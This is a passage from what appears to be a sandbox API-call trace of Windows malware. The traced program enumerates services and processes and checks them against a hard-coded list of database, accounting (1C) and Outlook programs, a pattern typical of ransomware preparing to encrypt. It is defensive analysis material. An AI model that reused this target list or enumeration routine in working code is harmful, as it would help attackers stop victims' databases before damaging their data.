lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0239.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0239.666] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0239.666] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0239.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0239.666] lstrlenW (lpString="ProfSvc") returned 7 [0239.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0239.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0239.666] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0239.666] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0239.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0239.666] lstrlenW (lpString="RpcEptMapper") returned 12 [0239.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0239.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0239.666] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0239.666] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0239.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0239.666] lstrlenW (lpString="RpcSs") returned 5 [0239.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0239.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0239.666] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0239.666] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0239.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0239.666] lstrlenW (lpString="SamSs") returned 5 [0239.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0239.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0239.666] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0239.666] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0239.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0239.667] lstrlenW (lpString="Schedule") returned 8 [0239.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0239.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0239.667] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0239.667] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0239.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0239.667] lstrlenW (lpString="SENS") returned 4 [0239.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0239.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0239.667] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0239.667] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0239.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0239.667] lstrlenW (lpString="ShellHWDetection") returned 16 [0239.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0239.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0239.667] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0239.667] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0239.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0239.667] lstrlenW (lpString="Spooler") returned 7 [0239.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0239.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0239.667] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0239.667] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0239.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0239.667] lstrlenW (lpString="Themes") returned 6 [0239.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0239.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0239.667] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0239.667] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0239.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0239.667] lstrlenW (lpString="UxSms") returned 5 [0239.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0239.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0239.667] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0239.667] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0239.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0239.668] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42e73a0 | out: hHeap=0x530000) returned 1 [0239.668] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0239.669] Process32FirstW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0239.670] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0239.670] lstrlenW (lpString="System") returned 6 [0239.670] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0239.670] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0239.670] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0239.670] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0239.670] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0239.670] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0239.670] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0239.670] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0239.670] lstrlenW (lpString="smss.exe") returned 8 [0239.670] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0239.670] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0239.670] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0239.670] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0239.670] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0239.670] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0239.670] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0239.671] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.671] lstrlenW (lpString="csrss.exe") returned 9 [0239.671] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0239.671] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0239.671] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0239.671] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0239.671] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0239.671] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0239.671] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0239.671] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0239.671] lstrlenW (lpString="wininit.exe") returned 11 [0239.671] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0239.671] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0239.671] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0239.671] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0239.671] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0239.671] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0239.671] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0239.672] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0239.672] lstrlenW (lpString="csrss.exe") returned 9 [0239.672] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0239.672] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0239.672] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0239.672] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0239.672] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0239.672] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0239.672] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0239.672] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0239.672] lstrlenW (lpString="winlogon.exe") returned 12 [0239.672] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0239.672] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0239.672] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0239.672] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0239.672] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0239.672] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0239.672] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0239.672] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0239.673] lstrlenW (lpString="services.exe") returned 12 [0239.673] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0239.673] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0239.673] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0239.673] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0239.673] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0239.673] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0239.673] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0239.673] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0239.673] lstrlenW (lpString="lsass.exe") returned 9 [0239.673] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0239.673] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0239.673] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0239.673] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0239.673] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0239.673] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0239.673] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0239.673] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0239.674] lstrlenW (lpString="lsm.exe") returned 7 [0239.674] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0239.674] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0239.674] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0239.674] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0239.674] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0239.674] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0239.674] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0239.674] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.674] lstrlenW (lpString="svchost.exe") returned 11 [0239.674] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0239.674] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0239.674] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0239.674] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0239.674] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0239.674] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0239.674] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0239.674] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.675] lstrlenW (lpString="svchost.exe") returned 11 [0239.675] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0239.675] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0239.675] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0239.675] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0239.675] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0239.675] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0239.675] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0239.675] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.675] lstrlenW (lpString="svchost.exe") returned 11 [0239.675] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0239.675] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0239.675] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0239.675] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0239.675] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0239.675] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0239.675] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0239.675] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0239.676] lstrlenW (lpString="LogonUI.exe") returned 11 [0239.676] lstrcmpiW (lpString1="1c8.exe", lpString2="LogonUI.exe") returned -1 [0239.676] lstrcmpiW (lpString1="1cv77.exe", lpString2="LogonUI.exe") returned -1 [0239.676] lstrcmpiW (lpString1="outlook.exe", lpString2="LogonUI.exe") returned 1 [0239.676] lstrcmpiW (lpString1="postgres.exe", lpString2="LogonUI.exe") returned 1 [0239.676] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="LogonUI.exe") returned 1 [0239.676] lstrcmpiW (lpString1="mysqld.exe", lpString2="LogonUI.exe") returned 1 [0239.676] lstrcmpiW (lpString1="sqlservr.exe", lpString2="LogonUI.exe") returned 1 [0239.676] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.676] lstrlenW (lpString="svchost.exe") returned 11 [0239.676] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0239.676] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0239.676] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0239.676] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.677] lstrlenW (lpString="svchost.exe") returned 11 [0239.677] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0239.677] lstrlenW (lpString="audiodg.exe") returned 11 [0239.677] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.677] lstrlenW (lpString="svchost.exe") returned 11 [0239.677] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.678] lstrlenW (lpString="svchost.exe") returned 11 [0239.678] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0239.678] lstrlenW (lpString="userinit.exe") returned 12 [0239.678] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0239.678] lstrlenW (lpString="dwm.exe") returned 7 [0239.678] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0239.678] lstrlenW (lpString="explorer.exe") returned 12 [0239.678] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0239.679] lstrlenW (lpString="spoolsv.exe") returned 11 [0239.679] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0239.679] lstrlenW (lpString="taskhost.exe") returned 12 [0239.679] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.679] lstrlenW (lpString="svchost.exe") returned 11 [0239.679] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0239.680] lstrlenW (lpString="uyuquk.exe") returned 10 [0239.680] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0239.680] lstrlenW (lpString="reader_sl.exe") returned 13 [0239.680] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0239.680] lstrlenW (lpString="cmd.exe") returned 7 [0239.680] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0239.681] lstrlenW (lpString="conhost.exe") returned 11 [0239.681] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0239.681] CloseHandle (hObject=0x204) returned 1 [0239.681] Sleep (dwMilliseconds=0x1f4) [0240.333] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aeb70 [0240.364] EnumServicesStatusExW (in: hSCManager=0x42aeb70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0240.373] GetLastError () returned 0xea [0240.373] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc9a) returned 0x42e73a0 [0240.373] EnumServicesStatusExW (in: hSCManager=0x42aeb70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e73a0, cbBufSize=0xc9a, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e73a0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0240.373] CloseServiceHandle (hSCObject=0x42aeb70) returned 1 [0240.373] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0240.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0240.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0240.373] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0240.373] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0240.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0240.374] lstrlenW (lpString="AudioSrv") returned 8 [0240.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0240.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0240.374] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0240.374] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0240.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0240.374] lstrlenW (lpString="BFE") returned 3 [0240.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0240.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0240.374] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0240.374] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0240.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0240.374] lstrlenW (lpString="CryptSvc") returned 8 [0240.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0240.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0240.374] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0240.374] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") 